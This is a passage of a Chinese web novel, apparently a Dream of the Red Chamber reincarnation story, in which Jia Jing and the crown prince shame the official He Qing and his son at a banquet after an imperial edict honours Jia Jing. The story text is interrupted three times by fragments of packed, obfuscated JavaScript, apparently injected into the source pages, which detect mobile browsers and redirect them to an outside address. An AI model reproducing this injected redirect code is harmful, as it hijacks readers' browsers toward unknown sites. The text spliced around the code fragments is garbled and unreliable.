宁国府有没有拉拢学子们的心思,何清还未看出来,倒是让他有了新的发现,宁国公府这位二爷与太子殿下的关系,要比他们认为的还要亲近。 知道这一事实后,何清心中免不得有些焦虑,开始担忧自己那个闯祸的小儿子,萧淮川先前未露面便出声说的那句话,他可是听得清清楚楚,看来是要为贾敬撑腰了。 何清心中各种想法涌出,但时间不过一瞬,他面上镇定,温声一笑, “培元与小儿长明是同年,那便是缘分,今日碰巧无事,便应公府之请,前来赴宴,见到这帮小辈,臣今日也跟着年轻了几岁。” 这个回答,还真的巧妙。 萧淮川脸上的笑意未变,对于何清的回答也并未再答。 何清微微眯起眼,转头看向贾代善,提议道:“国公爷,站在外面恐怕不妥。” 贾代善瞥了何清一眼,好似看出他是什么心思,这老狐狸无非是想要转移话题,想略过刚刚小辈的冲突,但他说的也没错,这一群人站在院内,确实不是待客之道。 在他家的宴会上,侮辱了他们家的人,就想这么揭过? 哪有这样的好事,真当他们贾家是好欺负的? 他大哥贾代化是不在了,可他贾代善还在呢。 贾代善扫了一眼自家满脸青肿的大儿子,有些牙痒痒,和人打架还能这么惨,欠操练。 可往常贾赦若是打架,贾代善只会把贾赦罚的更惨,此次,贾赦为贾敬出头,贾代善心中暗藏的爽感和欣慰只有他自己知道。 何清那个小儿子不仅是羞辱了他侄儿,还让他亲儿子鼻青脸肿,这事情不可能就这么算了! 进去也无妨,账慢慢算。 贾代善刚准备开口邀请萧淮川进厅内入座,可话没说出口,就见萧淮川看向挂彩的贾赦和何长荣,颔首问道: “孤方才过来,此处很是热闹,发生了什么?” 何清脸上一僵,贾赦和何长荣打架的事情,他已经知道大多数问题是自己家小儿子的问题,刚才见萧淮川带着笑,还以为他不准备追究了,可终究没躲过。 何清一时不知道该怎么回答,扯了扯嘴角,讪讪道:“是小辈们不懂事,玩闹了一番。” 他想将大事化小,小事化了,将事情归结于小辈玩闹上。 何清说完下意识看向贾代善,带着些哀求,想请贾代善和他一起将此事揭过去,却没想到,贾代善一副悲戚的模样,何清心中警铃大作, “国公爷……” 话还未出口,便被贾代善打断, “殿下,可要为敬哥儿做主啊。” 何清不免瞪大了眼睛,青了脸色,没想到贾代善一介国公爷竟然可以如此不要脸。 贾赦也是一脸惊悚地望着贾代善,像是根本不认识自己的父亲一样。 萧淮川没有询问贾敬,反而是看向了挂彩的贾赦,“恩侯,说说为何打架。” 贾赦这次没有了先前沉默的模样,而是跟倒豆子一般,将事情又全部说了一遍,而贾政在一旁为他补充。 “何长荣对敬二哥哥无礼,说敬二哥哥是个废物,手也废了……” 两小儿说完,萧淮川常挂着的笑已然淡了,下意识朝贾敬看去,见贾敬低垂着眼睑,看不出情绪,不知道在想什么。 可这样的诛心之言,萧淮川知道,依照贾敬骄傲的性子,怎么可能不会难过? 萧淮川藏于袖中的手颤了颤,努力克制自己移开了目光。 他眼角下垂,冷然犀利的目光射向何长荣,储君平日里不显的威慑扑面而来。 何长荣脸色煞白,两股颤颤,好似终于知道自己闯了祸,他想要辩解,却无从辩解,不敢还一言。 因为那确实是他说的,还是他故意说的。 何长荣带着惊慌的目光朝何清看去,指望他父亲救他。 他父亲可是吏部尚书,他也不过是说了贾敬两句,贾敬连块肉都没掉,怎么就这般严重了?更不要说打架,贾赦脸上青肿,他的伤也不轻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941815|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 何长荣是这么安慰自己的,可身体的恐惧却克服不了,终究他的双腿宛如失去了力气一般,软绵绵地弯曲下去,伴随着“砰!”的一声巨响,整个人重重地瘫倒在了地上。 “我、我……” 一旁的何清紧紧绷着脸,额头上青筋暴起,他敏锐地察觉到了萧淮川脸上的神情,是他陌生的冷意,心一沉再沉。 但他深知不能在众人面前表露出来,于是强装镇定,面上不显,刚准备开口,只听贾代善接着道: “太子殿下,老臣这侄儿身上的伤,那可是在剿灭一窝凶残至极的流寇土匪时留下的啊!怎能容忍被这般肆意侮辱!” 萧淮川先前开口的那句话,早已被贾代善一字不落地听进了耳朵里。凭借多年的经验和敏锐的洞察力,他暗自猜测,圣上对于此事已经纠结犹豫多日,如今怕是已然有了定论。 贾代善此话一出,犹如一石激起千层浪,在场的其余勋贵老亲们纷纷随声附和起来,他们今日来赴宴,本就是想要借此机会探探口风,瞧瞧对于贾敬之事,圣上究竟持何种态度,对他们这些勋贵又是什么态度。 “荣国公何必这样咄咄逼人、步步紧逼!”何清自知无法直接对储君发难,只能怒目看向贾代善。 此事说大不大,说小却也不小,若是私下了解,他愿意做出妥协。但此时此刻,贾代善显然是铁了心要将何长荣置于死地,丝毫不留半分情面。 贾代善却不理会何清,双方僵持。 “呵。”就在这时,萧淮川微微勾起嘴角,那抹笑意里宛如藏着寒冬腊月的冰霜,令人不寒而栗,冰冷刺骨。 只见他缓缓转过头去,不再看那个惹出祸端的何长荣,而是将锐利的目光直直地投向了何清,“何大人,难道这便是您府上的家风吗?” “侮辱朝廷官员、剿匪功臣,该当何罪?” 何清闻言,心中一凛。额头不禁冒出一层冷汗,硬着头皮,躬身行礼道:“臣小儿年少无知,行为鲁莽,口有失言,实在是有失体统,理应降罪责罚,臣绝无怨言。” 他看似恭敬,忽然话锋又一转,“然荣国公之子刚才也因为兄出气,与小儿狠斗一番。” 在场众人忍不住心中唾骂:平日里新党自诩清流,可处理起自己事情来,也免不得这么不要脸。 何清又看向贾敬,一字一顿道:“小儿是无状,对贾二爷出言不逊,可殿下说小儿侮辱朝廷官员、剿匪功臣,臣认为不妥。” 圣上并没有为贾敬授官,也并未为此次剿匪正名,以及他得到的消息,圣上也并不想嘉奖贾敬,不然,他作为吏部尚书,掌管官员授官升迁一事,岂会不知道? 何清揣测萧淮川和贾敬的亲近关系,自觉是这位储君在诓他,即便萧淮川所说属实,可只要圣旨一天未下,贾敬就算不得官身。 心中对萧淮川的看法也淡了几分,思忖起新党同僚们先前提的事情。 “怎么,何大人是在质疑孤的话?” 萧淮川并不意外何清这番话,新党这些官员对自己是和何态度,他早已经知晓,但刚才的话,还真不是萧淮川为了贾敬胡诌,这样的蠢事他不会做。 “忍冬,宣旨。” 他今日来便是为了贺阿元的喜,他忙碌这些天,便是为了送阿元这份礼。 29.第 29 章 忍冬双手捧上一抹明黄,圣旨! “贾敬接旨!” 贾敬眼里难掩诧异,通过萧淮川的话,他大抵能猜出天丰帝应该做出了决断,萧淮川提前知晓,授官任命不久就会下达。 可他万万没有想到,竟然会是天丰帝的圣旨,这肯定是萧淮川从中做了什么! 贾敬下意识朝萧淮川看去,目光撞进萧淮川宛如揉碎星子温柔的眼眸,萧淮川对贾敬轻微点头,贾敬明白他的意思。 有他在,一切放心,别怕。 贾敬深吸一口气,稳住剧烈跳动的心,缓缓跪下,院内众人皆跪迎旨。 “维大乾盛世,英才辈出,社稷之福,今有新科进士贾敬,才兼文武,近日剿匪之战中,英勇决绝…… ……堪为天下之表率,朕心甚慰,嘉其德才兼备,兹特授予贾敬正七品翰林院编修之职……鉴于贾敬在剿匪过程中负伤,特准许其伤愈后再赴任履新,期间一切俸禄待遇,悉数照发……特颁此诏,昭告天下,钦此。” 洋洋洒洒一大段,内容是肯定了贾敬此次剿匪之功,为其正名。 贾敬脊背挺直,目光沉稳,静静地听着圣旨,可他的心海早已经翻涌。授官入仕,两辈子,他终于走到了这一步。 天丰帝所颁之内容,即在意料之中,也在意料之外。无论是授官翰林院,还是“剿匪”的功劳,皆是贾敬这些时日所谋划,而如今,是他预想的最佳结果。 贾敬知道,得到这样一份圣旨,这里面有自己的谋算,背后萧淮川肯定也是出了力。 而贾敬之所以坚持如期举办庆祝宴,就是为了让想要拖延的天丰帝不得不尽快做出决断。 这次庆祝宴请的是四王八公,各家勋贵,而自己科举取士,剿匪有功,若是这都不给予奖赏,这些个勋贵又会怎么想? 至此走到这一步,天丰帝是必须要赏给贾敬些东西,官位要给,功劳也要认,既然都要给,何不做的漂漂亮亮? 那么便给足贾敬和宁国公府的面子,授官,奖功,就当着这群四王八公勋贵们的面儿,明摆着告诉他们,圣上还念着他们的好。 贾敬的庆祝宴,就是最合适的地方。 果然,让贾敬等到了。 一旁的何清睁大眼睛死死盯着那抹明黄,面色陡然大变,若不是低垂着头,少不得一个失仪之罪。 真的是圣旨!圣上竟然下了圣旨! 以何清得到的消息,圣上在这件事上明明很是犹豫,那些子勋贵平日里气焰已然是很高了,可没想到,圣上竟然还愿意添上一把火…… 而跪在贾代善身后那群来参加的老亲们,脸上是压抑不住的喜色。他们今日也都是悬着心来的,想试探试探圣上的意思。 现如今圣上这旨诣一下,瞬间安了这群人的心,多数人为贾敬高兴的心也多了几分真意,心中想着待会儿怎么攀攀交情。 “臣贾敬接旨,今后定当勤勉尽责,精研学问。” 贾敬不管其余人是如何想的,他自己恭敬谢恩,缠着纱布的手朝上,准备接旨。 可忍冬哪里能让贾敬受伤的手去接旨,贾敷见状,连忙替贾敬接过。 贾敬刚准备起身,胳臂一热,被人扶住,贾敬眼眸一扫,修长的手指骨节分明,是他熟悉的那只手。 他稍稍抬眼,对上萧淮川的眼眸,弯了唇角,“谢殿下。” 贾敬并未拒绝萧淮川的搀扶,一来萧淮川是储君,拒绝会抹了萧淮川的面子;二来,萧淮川既然亲临府邸,不仅是君恩浩荡,更是贾敬向世人宣告他们关系亲密的机会,又怎么错过? 他会坚定地站在萧淮川的身边,不论是什么身份。 众人起身后,贾代善瞥了眼不吭声的何清,阴阳怪气道: “何大人,圣上圣旨已下,我家敬哥儿是圣上亲赐官身,更是此次的剿匪的功臣,令郎侮辱朝廷命官和功臣一事,该如何处置?” 何清闻言,脸上肌肉抽搐了一下,显然恶心和恼怒于贾代善的直白。看来今日,贾代善是不会善罢甘休了。 何清毕竟是只久经官场的老狐狸,嘴角挂着一丝勉强挤出的笑,看似伤心和为难, “荣国公,您言重了。犬子此次确实是行事鲁莽,冒犯了贾二爷,您放心,我定会对他严加管教。” 论起何清的地位,本不需要跟贾敬如此客气,更不需要唤他“二爷”,可谁让他那个嘴上不把门的儿子得罪了人家呢? 自然是要客气些。 贾代善眯了眯眼,故意没有开口,以他对何清的了解,不会就此妥协,他就想听听何清还能厚着脸皮说出什么话来。 下一瞬,何清开口:“国公爷,都是孩子们之间的玩闹,偶尔有些摩擦也在所难免,还望您大人大量,不必太过计较。” 何清还想将大事化小,小事化了。 贾代善冷冷一笑,眼中闪过一丝寒芒,“何大人,您这话未免太轻描淡写了。” “令郎不仅出口侮辱,还动手伤人,这种行为,岂止是摩擦那么简单?” 想那么容易揭过去?没门! 而有了圣上态度的定心骨,其他老亲们也都直起了腰杆,纷纷附和,他们说话就要比贾代善直白难听多了: “何清,你是欺负宁国府无人吗?代化兄虽亡故,我们这些叔伯还站在这儿,不会让你们将敬小子欺负了去!” 这句话是镇国公牛清所说。 “忒怂,敢做还不敢当,我老柳瞧不上你!”这话是理国公柳彪所说,人如其名,确实“彪”的很,和“理国公”的爵位放一起,更觉得有意思了。 “这事不能善了,老夫不答应!” “……” 旁边一群人七嘴八舌的讨伐何清,在何清看来,明明是一帮子鲁莽武将,愣是整出了舌战群儒的模样,一句句宛如利箭,精准戳进何清的心里,正中要害,吵得何清头都要炸开了。 惹上这帮人,何清有种捅了马蜂窝的感觉,急的他觉着自己已经被马蜂锥了满头包,又麻又胀又疼。 何清忍着跳动的额边青筋,目光忽的转向一旁不说话的贾敬,恍然,突破口应该放在这位正主身上,毛都没长齐的小子,总不能比那帮莽夫还难说话吧? 何清暗自咬了咬牙,朝这个比他小了一辈的年轻后生挤出一抹笑,略带讨好道: “贾二爷,犬子失言,老夫在此致歉,今日到底是您的喜日子,何必将事情闹得那么难看?” 贾敬闻言,掀了掀眼皮,那双冷然的桃花眼盯着何清,像是没听懂何清的话,“何大人是何意?” 此话一出,何清心中都压不住一股气,撇下嘴角,目光沉了沉,丢了句,“贾二爷以后的路还长,咱们低头不见抬头见,当真不给老夫这个面子?” 这话里是毫不掩饰的威胁,在场人都听了出来,何清执掌吏部,正是管理官员升迁考核之事,可以说,掌握一个官员的仕途命运。 萧淮川凤眼眯起,朝何清望去,只是何清现在的注意力在贾敬身上,并未注意到。 “呵。”贾敬轻笑一声,“面子?” “自古有言,礼尚往来,我自然愿意给何大人这个面子,我也不是什么小鸡肚肠的人,并不想将这件事说的太严重,可令郎给了我面子吗?” “在我宁国府的宴席上,口出妄言,大打出手,这就是令郎给我的面子?” 何清怎么也没想到,贾敬会这么直接的将遮羞布撤掉,也没想到贾敬会这么毫不客气和自己杠上。 到底是刚入仕途的黄毛小儿,真的是一点不怕开罪了他,毁了今后的升迁仕途! 何清心中是又气又觉得可笑,心中对贾敬更是多了几分轻蔑,在他看来,今日不过是一场闹剧,没脑子的人想要趁一时之快罢了。 这样不顾后路的报复,何清知道,何长荣今日的惩罚是躲不过了,左右不是什么重罚,丢人了些。 可对比儿子需要受到的惩罚,捏住贾敬乃至他身后这帮人的软肋,对何清来说更加划算。 假以时日报复回去便是,不逞一时之勇。 李玉衡见状,故作不经意道:“这贾培元当真是睚眦必报,没丝毫君子气概!” 身旁几位学子也跟着点了点头,觉得贾敬这样太过小家子气。 宋子虚听不得这话,想要反驳,却被一旁的一人拉了一把,“这局面这样乱,你若是为他好,还是先不要说话。” 宋子虚抬头看去,竟然是薛琼,只见薛琼看向贾敬,语气平稳且坚定,“相信他,可以解决。” 而贾敬当然知道何清的威胁是什么意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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众人又是一怔,在场的诸位老亲们都不由得对这位年轻后辈刮目相看,心中也多了欣慰和赞许。 小辈里出这样的领军人物,怎能不开心?回去便要叮嘱族中小辈,多和贾敬接触学习。 他们不怕得罪人,却怕软弱无能的人。 贾敬刚才看似得理不饶人,就连其他人也以为,他是气不忿何长荣羞辱了他,可谁也不曾想到,他能忍下这羞辱。 他的坚持和不退让,是为了不能让他的家族,他的祖宗,以及为了维护他出头的幼弟。 年少轻狂,年少自然轻狂,更何况,这份轻狂之中是少年人一片赤忱之心。 贾敬的形象瞬间在众人心中发生了转变。 贾敬的那帮同年们,多是意气风发的年纪,又都是饱读诗书的文人学子,从小对先辈的节义事迹耳濡目染,哪里能抵挡的了这样的诱惑? 这些清流学子们平日里自诩正气节义,贾敬这样出身的公子哥,锦衣玉食,锦绣堆里长大,自然觉得不是一路人,可今日,他们恍然,他们都走了眼。 宋子虚和薛琼眼中露出了敬佩之色。 就连何清身后一直沉默的何长明,看向贾敬的目光里也是一片复杂。 萧淮川的目光落在贾敬身上更是没有挪开半分。 而贾代善和贾敷也没想到贾敬会这么说,眼中是遮掩不住的惊喜和自豪;方才打架都没掉一滴泪的贾赦,此时因为兄长的维护和肯定红了眼眶,贾政望着贾敬的眼睛,亮晶晶,一眨不眨。 “你……”何清抬手指向贾敬,竟然微微发了颤。 他也没有想到,贾敬居然会这样说,直接将态势逆转。 此子狂妄,也心机颇深! 贾敬清冷的声音再次响起:“更何况,当今圣上已然降下圣旨,明明白白地昭示了一切。 而何长荣说的每句话,都犯了骂詈之罪,字字都是在蔑视圣上!无一不是对天威的挑衅,字字句句皆犯下了大不敬之罪!” “身为臣子,沐浴皇恩,我又岂能容他!” “何大人教子无方,又是该当何罪!” 这话仿佛是伴随着雷霆万钧一起锤下,砸地何清头昏眼花,这是何等的重罪! 完咯! “砰!” “长荣!”何清目眦欲裂,看向地上泛着白眼瘫软在地的小儿子,他踉跄着走近,扑面而来的骚味。 贾赦捏住鼻子,一脸鄙夷,“怂货!居然还尿了!” 30.第 30 章 贾赦此话一出,所有人的目光都落在了何长荣的某个地方,之间他倒下的那片地,已然湿了。 “哈哈哈哈……” “这么大人了,居然吓尿了!” 众人哄堂大笑。 贾代善也是一脸嫌弃地望着地上翻白眼的何长荣,就差把“丢人现眼”四个字写在脸上了。 若是他有这样不争气的子孙,根本不需要别人来教训,他会亲自出手,狠狠地教训一番。 想到这里,贾代善看向贾赦的眼神变得温和了一些。尽管贾赦平日里有些调皮捣蛋,但遇到大事时,还是有胆量的,也知道护着兄长。 只是,打人还让自己鼻青脸肿,着实觉得丢人,明日开始,他一定要好好操练操练这个崽子! 贾赦只觉得背后一凉,忍不住一哆嗦,双手搓着手臂。 何清铁青着脸,也顾不得周围人的嘲笑,指使着小厮将何长荣扶起。 洇湿的袍角还滴着水,新鲜出炉的尿骚味熏的小厮们也不禁屏住了呼吸,要不是碍于何清的威严,可能早就嫌弃得要命。 “长荣、长荣!” 就在何清不断呼喊着何长荣时,已经有府医前来,动作利索的为何长荣检查,先是掀了掀眼皮,紧接着把脉。 府医是贾敷先前就安排好的,生怕宴席上出什么岔子,毕竟今日来参加宴席的皆是有头有脸的人物。 却没想到,还真出了状况。 “大夫,怎么样?” 何长明略带焦急的询问大夫,一副关心弟弟的模样。 贾敬的目光落在何长明身上,就这么静静看着。 何清同样紧张,看向大夫的目光已经染上了阴郁。若是他的儿子真的有什么三长两短,他不会放过贾敬,也不会放过贾家! 大夫丝毫不受何清目光的影响,利落的收回手,语气平缓冷静,“没事,只是惊吓过度,晕了过去,喝两副安神汤便好。” 至于身上的伤,不是他此次医治的范围。大夫神情淡然,但方才这里的闹剧,他是尽收眼底。 众人一听,还真没什么大事,真是吓晕的,还吓尿了,瞬间又憋不住笑了。 “噗嗤”一声,不知谁带的头,众人又笑做了一团。 “出息。”贾赦面带嘲笑,轻嗤一句,却惹来何清一记冷眼,浸淫官场多年的威严让贾赦缩了缩脖子,扭头避开了何清的视线。 “你们贾家今日到底想要如何!”何清目光如冰刀一般射向贾敬,“贾二爷到底想怎么样!” 今日的事情,简直是他何清之耻!他不会善罢甘休的! “那是他自己胆小如鼠,关我们什么事?他……”贾赦还想说什么,可被一人轻轻拦住。 贾赦抬头见是贾敬,立刻闭了嘴,现在贾敬在贾赦心中的形象,那可是比他爹贾代善高多了。 “何大人这话,培元不解。这事可不是培元能做的了主。” 贾敬一改先前的锋利,此时倒是跟何清打起了机锋,软绵似针,让何清已经压不住心中的烦躁,他打断贾敬的话,毫不客气道: “今日的事情,我们认了,既然贾二爷说长荣犯了骂詈之罪,我们就按照骂詈罪论处。” 何清咬了咬牙,目光扫视一片,“按照大乾律例,当面辱骂朝廷官员,所范骂詈罪,当杖责三十。” “贾二爷可还满意?”何清一字一顿说完。 贾敬听着何清的话,面上噙着笑,心里暗道:何清还真是狠,对自己亲儿子都能这么狠。 杖责三十,若是都打实了,能将人打的皮开肉绽,绝对算是酷刑,臀部以下不养个几个月,怕是好不了。 贾敬清楚何清在打什么算盘,何清是出狠招给自己下套。 自己若是欣然答应,何长荣便要被杖责三十,看似何清吃了亏,可到底下了狠手,他方才树立的形象便会有所折损。 倘若自己为了名声不答应,何清就会顺势借坡下驴,给何长荣找个轻的罪行,此事就算揭过去了,若是贾敬不甘心,事后再提,变成了没理的一方。 无论贾敬选哪个,都讨不得好,都是坑。 既然如此,他一个都不跳。 贾敬唇角微勾,缓缓道:“方才培元已经表明,此事培元做不得主,培元并不在乎令郎说了什么。” 他说着,慢慢地举起了自己那双被包裹着的手,亮于众人面前。 那双手即便被层层白布紧紧缠绕着,只露出指尖部分,也难掩修长有型,就是这双手写出的书法,让贾培元一举闻名京城。 可眼下看着这双手,显得十分脆弱,也让在场众人心中不禁惋惜: 若是真的损伤了手,写不了那样的书法,当真是可惜。 “培元这双手是伤了,如今也未好全,能不能恢复如初还是个未知。” 贾敬接着说,语气平淡,仿佛说的不是他自己的伤势,将要不能恢复的手也不是自己的手一样。 可就是这样的平静,让萧淮川的凤眸里闪过一丝痛色,他轻敛眼眸,怕贾敬看出什么。 贾敬忽然笑了一声,还轻轻晃了晃手,“你们觉得我会悲痛沮丧?” “不,我不会。” “即便这双手就此废了,培元亦不会后悔,这是为了剿匪所伤,值得!” 青年人清亮的嗓音在院内回荡,带着一种令人无法忽视的力量。 萧淮川也早在贾敬开口时便已经抬起了头,目光怔怔地望着面前的青年,这样自信张狂义无反顾的模样,真是吸引人。 这就是贾敬,贾培元,宁国公府的二公子,张扬,自信。 也是长大了的贾培元,他自己一人便可阻挡风雨。 贾敬的目光落在何清身上,接着道:“何长荣说我今后会是个废人。” 他说着顿了顿,“不,我不觉得。” “即便这双手不能恢复,我亦可以用其他方式报效圣上,不负圣上所望。” 贾敬的这番话,和他的人一般,宛如一柄青竹,牢牢扎根在了许多人的心里。 他目光扫过前方难掩激动的学子们,朗声道: “诸位同年,培元相信,你们与培元的心,是一样的!” “培元兄说得对!我们定会好好报效圣上!” “不负圣上所托!” 何清看着贾敬的这一操作,让原本不认可他,准备看他笑话的同年们,瞬间拉拢过来,惊的眼珠子都要瞪了出来! 此子调动人心的能力近乎妖! 可还未等何清说话,贾敬转眸就看向何清, “何大人,我不在意何长荣的话,也并不想理会,可他今日诋毁侮辱的,是我贾家的列祖列宗,培元不能也不敢代祖宗原谅。” “至于大不敬之罪,那便要看圣上的意思,培元不敢妄言。” 何清眼睛死死地盯着贾敬,仿佛要把他盯穿一样。 “这等小事,你还想闹到圣上面前不成?” “闹?”贾敬脸上露出不解之色,“事关陛下天威,怎么能叫闹呢?” “况且,何大人以为,今日之事,你不说我不说,便能瞒过圣上吗?” 贾敬稍稍挑眉,目光瞥了眼身旁一直沉默不语的萧淮川。 其实也不过是做给何清看罢了。今日宁国公府发生的事情,萧淮川不会去天丰帝面前多嘴,而天丰帝想要知道今日的事情,也不需要通过萧淮川。 萧淮川的视线一直都在贾敬身上,见贾敬瞥来,也清楚他的心思,嘴角勾起一抹浅笑。 贾敬则是回了一个幅度更大的笑。 他笑的出来,何清却笑不出来,脸色都已经开始发白,他显然也想到了这点,今日的事情瞒不过天丰帝了。 什么挑衅圣上的天威,这就是贾敬的诡辩,何清自然清楚,他相信天丰帝也清楚,可是,问题就在于,天丰帝到底愿不愿意清楚呢? 亦或者说,他和贾敬对上,天丰帝愿意站在谁的一边。若是之前,何清可以自信的说,天丰帝看在新党,以及自己吏部尚书正二品朝廷命官的面上,定会选择自己。 可今日,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973184|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丰帝给贾敬的那道圣旨,何清不敢赌。 可不敢赌又怎么样? 贾敬将他抬上来,就没打算让他溜了。 他微微颔首,“何大人,这事情已经由不得你我之间做决断了。” 贾敬朝那边半死不活被小厮扶着的何长荣掠了一眼,看似善解人意道: “您还是先带着令郎回去换身衣服吧,这湿衣服遇见风一吹,可别冻着了。” “味儿还挺重的,咱们这席面马上可要开席了。” 这话直接就是嫌何长荣臭,撵客了。 “快快快,别待在这儿了,回去好好照顾你的好儿子吧,好日子可不多了,先养养,不然后面可遭罪了!” 治国公马魁阴阳怪气,话里话外都是在说,就算到了圣上那里,何清这个儿子,都难逃一罚。 何清望着面前一堆狂妄的国公勋贵们,脸上涨红,心中难掩羞愤,也在暗暗记恨,袖子一甩, “今日是何某人来错了地方,希望来日……” 话未说完,他便转身离去。 “培元兄,今日多有得罪了。” 何长明朝贾敬深深一拜,声音带着愧疚。 贾敬笑了笑,好似不在意的摆摆手,“无事。” 何长明听了这话,脸上浮上一抹笑意,好似真的信了贾敬都话,追上何清走了。 “此人,不可深交。” 萧淮川低沉磁性的声音在贾敬耳边响起,贾敬转头,肩膀与萧淮川的上臂轻轻擦过,点头应道: “我晓得。” 看来萧淮川也看出何长明的不对劲了,其实很明显,何长明对何长荣的关心态度都太过浮于表面了,近乎于假。 也不知道他是无意,还是故意了。 “你今日……”萧淮川开口想要说什么,却说了三个字就停了下来。 “我今日如何?”贾敬偏了偏脑袋,有些疑惑萧淮川的话。 见萧淮川不说话,贾敬挑了挑眉,“觉得我今日太过张扬狂妄?” 该说不说,放出那么一番话的贾敬,如今只觉得心中畅快。上辈子以及重生以来积攒的郁闷、愤懑都随着他那番话一吐而空。 他贾培元活了两辈子,憋屈苦闷地活着。 上辈子兄长惨死,宁国府败落,萧淮川宫变含冤而死。他曾想尽办法拯救挽回,但最终还是无力回天,绝望麻木到吞丹自尽。 万幸,他能重生归来,这一次他自然不会再让悲剧重演。 贾敬的目光变得幽深,望着不远处的贾敷,他深吸一口气,又缓缓呼出,仿佛将心中的浊气怨气都吐了出来。 兄长还活着,上辈子到死都未踏入的朝堂仕途也已然在他脚下。 今日处理何清这件事,更是让贾敬信心倍增,他有能与之匹敌的能力,可以护好他想要护的人。 即便前路荆棘,他也不会退缩,也不能退。 他想护的人,就在他的身边,身后便是万丈深渊,他无路可退。 贾敬看向萧淮川,目光定定望着,这就是他要护的人,两世藏于心头的人。 萧淮川伸手摸了摸贾敬的脑袋,“觉得阿元,非常厉害。” “小的也觉得二爷厉害。”忍冬在一旁也忍不住说道,“二爷今日定是能迷倒一堆小姐们。” 他方才已经注意到,隔壁花厅的女眷们可是朝这边看了好几回,就连中间相隔的抄手游廊都有人走了数回了。 萧淮川的手微不可查地一顿,缓缓收回。 贾敬则是一愣,“啊?” 忍冬见状却是来了劲,跟倒豆子一样,说了贾敬不知道的事情。 “二爷,您那圣旨,可是咱们太子爷听说您要相看,怕有人说您闲话,特地求来的,就怕您被人低看了去。” 贾敬眨了眨眼睛,脑子有些懵,他愣怔地看着萧淮川,嘴张了又张,最终颤着声音, “你求这道圣旨,是为了能让我相看时,不被人家姑娘低看了去?” 其实,他想问的,并不是这句。 31.第 31 章 贾敬想问萧淮川什么? 他有太多想问的,那些问题那些话迅速涌上,一个个挤着要蹦出去,可真的要说出口时,又全部堵在了嗓子眼,哽在喉中,什么也说不出。 他能说什么? 他心底那份大逆不道到不能宣之于口的心意,怎么可能让萧淮川知道,也一定不能让萧淮川知道。 这隐秘的心思更不能让外人知晓。 世人眼里,他及冠已过,功名已得,也只差洞房花烛了,萧淮川为他这般考虑,也是正常。 时间太久,是他忘了。 萧淮川如今虽未成亲,可他有一门大家都心照不宣的未婚妻,只待天丰帝下旨。 上辈子没成,可这辈子……贾敬知道,即便不是萧淮川的那位表妹,也会是别人。 他早该想清楚这一切的,不是吗? 贾敬努力平复心中酸涩难忍的感觉,剧烈的情绪起伏,他掩饰不了颤颤的眼睫,眼尾下垂,眼眸里透露着戚戚之色。 他的不寻常让萧淮川一愣, 萧淮川是清楚贾敬想要什么,也清楚天丰帝的犹豫不定和拖延,才出手帮贾敬拿到了这样一份圣旨。 可是为什么阿元看起来并不开心?反而…… “阿元,你不喜欢?你怎么……” “我没事。” 萧淮川话未说完,贾敬便摇头打断,示意自己没事。 无论萧淮川是因为什么理由,他的所作所为都帮助到了贾敬,他该感激的。 贾敬应该再说一句,感谢云云,可到底太过客气,忍冬方才说的缘由,也在戳他自己的心窝,他说不出,也不想说。 一时间,清醒的思绪和内心压抑的情绪如飓风一般,碰撞后交织卷在一起,复杂融合又互相拉扯,他尽可能的想要将两者拉扯开,可无能为力。 失态的瞬间,贾敬迅速地将头转到了一边,想要躲开萧淮川的视线。 贾敬眼睑半耸拉着,并没有抬眼去看萧淮川,努力扯了扯嘴角,向上牵起,“圣上亲赐的圣旨,授了官,获了功劳,这样的殊荣,我怎么可能不欣喜?” 贾敬这番话一出,萧淮川并未放下心来,反而眉头蹙了起来。 贾敬强装出的笑意在萧淮川眼里,充满着苦涩,强颜欢笑,莫过如是。 这样的情绪和委屈不应该出现在阿元的脸上。 他该是方才在众人面前那样,张扬肆意,光彩夺目。 贾敬的变化是因为刚刚忍冬的话? 萧淮川的目光落在忍冬身上,忍冬早已经意识到自己说错了话,哭丧着脸,就差给贾敬跪了。 “二爷……” 忍冬的话刚开口,被萧淮川凤眼一扫,只是轻飘飘的一眼,忍冬瞬间闭了嘴,弯着腰退下了。 贾敬此时也终于将外泄的情绪再次压了回去,见萧淮川这样,贾敬想起上辈子宫变,他亲眼目睹萧淮川身死,忍冬并不在现场,事后暗卫将他带离东宫,他问询过忍冬下落,得知忍冬已经殉主。 对于这位从小跟在萧淮川身边服侍、忠心的小太监,贾敬抿了抿,还是说道: “这事与他无关,你何必吓他。” 萧淮川认真的望着贾敬,郑重的一字一顿道:“阿元,这道圣旨,是你应得的,无关其他。” 忍冬说的那句,若要算,也只是萧淮川去请这份圣旨里最无关紧要的一个理由。 该是属于阿元的荣耀,一份都不能少,这是阿元应得的,谁都不能抹去。 至于他人,若是因为外界这些虚物而看轻了阿元,那这样的人,也不配上阿元。 萧淮川话中的意思,贾敬当然听得出来,也明白萧淮川说出的是真话,可终究心里芥蒂忍冬说的那番话,看似玩笑实则试探开口道: “忍冬说的也没有错,世人鲜少有不看外表的,淮哥这份如及时雨一般的圣旨……” 